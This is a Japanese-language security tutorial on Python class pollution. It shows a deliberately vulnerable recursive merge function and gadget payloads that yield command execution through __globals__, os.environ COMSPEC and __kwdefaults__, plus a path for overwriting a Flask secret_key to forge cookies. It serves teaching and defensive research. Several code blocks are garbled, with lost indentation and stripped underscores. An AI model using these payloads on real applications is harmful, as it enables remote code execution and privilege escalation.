Class Pollution (Python's Prototype Pollution)

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基本的な例

文字列でオブジェクトのクラスを汚染する方法を確認してください：

class Company: pass
class Developer(Company): pass
class Entity(Developer): pass

c = Company()
d = Developer()
e = Entity()

print(c) #<__main__.Company object at 0x1043a72b0>
print(d) #<__main__.Developer object at 0x1041d2b80>
print(e) #<__main__.Entity object at 0x1041d2730>

e.__class__.__qualname__ = 'Polluted_Entity'

print(e) #<__main__.Polluted_Entity object at 0x1041d2730>

e.__class__.__base__.__qualname__ = 'Polluted_Developer'
e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'

print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>

基本的な脆弱性の例

# Initial state
class Employee: pass
emp = Employee()
print(vars(emp)) #{}

# Vulenrable function
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


USER_INPUT = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
}
}

merge(USER_INPUT, emp)
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}

Gadget Examples

クラスプロパティのデフォルト値をRCE（サブプロセス）に設定する

```python from os import popen class Employee: pass # Creating an empty class class HR(Employee): pass # Class inherits from Employee class class Recruiter(HR): pass # Class inherits from HR class

class SystemAdmin(Employee): # Class inherits from Employee class def execute_command(self): command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there' return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'

def merge(src, dst):

Recursive merge function

for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)

USER_INPUT = { "class":{ "base":{ "base":{ "custom_command": "whoami" } } } }

recruiter_emp = Recruiter() system_admin_emp = SystemAdmin()

print(system_admin_emp.execute_command()) #> [!] Executing: "echo Hello there", output: "Hello there"

Create default value for Employee.custom_command

merge(USER_INPUT, recruiter_emp)

print(system_admin_emp.execute_command()) #> [!] Executing: "whoami", output: "abdulrah33m"

</details>

<details>

<summary>他のクラスやグローバル変数を<code>globals</code>を通じて汚染する</summary>
```python
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class User:
def __init__(self):
pass

class NotAccessibleClass: pass

not_accessible_variable = 'Hello'

merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())

print(not_accessible_variable) #> Polluted variable
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
任意のサブプロセス実行

```python import subprocess, json

class Employee: def init(self): pass

def merge(src, dst):

Recursive merge function

for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)

Overwrite env var "COMSPEC" to execute a calc

USER_INPUT = json.loads('{"init":{"globals":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value

merge(USER_INPUT, Employee())

subprocess.Popen('whoami', shell=True) # Calc.exe will pop up

</details>

<details>

<summary>オーバーライティング <strong><code>__kwdefaults__</code></strong></summary>

**`__kwdefaults__`** はすべての関数の特別な属性であり、Pythonの[ドキュメント](https://docs.python.org/3/library/inspect.html)に基づいて、「**キーワード専用**パラメータのデフォルト値のマッピング」です。この属性を汚染することで、関数のキーワード専用パラメータのデフォルト値を制御できます。これらは、\*または\*argsの後に来る関数のパラメータです。
```python
from os import system
import json

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class Employee:
def __init__(self):
pass

def execute(*, command='whoami'):
print(f'Executing {command}')
system(command)

print(execute.__kwdefaults__) #> {'command': 'whoami'}
execute() #> Executing whoami
#> user

emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())

print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
execute() #> Executing echo Polluted
#> Polluted
Flaskのシークレットをファイル間で上書きする

したがって、ウェブのメインPythonファイルで定義されたオブジェクトに対してクラス汚染を行うことができるが、そのクラスがメインファイルとは異なるファイルで定義されている場合です。前のペイロードで__globals__にアクセスするには、オブジェクトのクラスまたはクラスのメソッドにアクセスする必要があるため、そのファイルのグローバルにアクセスできるが、メインのものにはアクセスできないことになります。 したがって、メインページでシークレットキーを定義したFlaskアプリのグローバルオブジェクトにアクセスできなくなります:

app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'

このシナリオでは、ファイルを横断してメインのファイルに到達し、グローバルオブジェクト app.secret_key にアクセスしてFlaskのシークレットキーを変更し、このキーを知ることで権限を昇格させるためのガジェットが必要です。

このようなペイロードはこの書き込みから:

__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key

このペイロードを使用して、app.secret_key（アプリ内の名前は異なる場合があります）を変更し、新しいより多くの権限を持つフラスククッキーに署名できるようにします。

次のページも参照して、読み取り専用のガジェットを確認してください：

Python Internal Read Gadgets

参考文献

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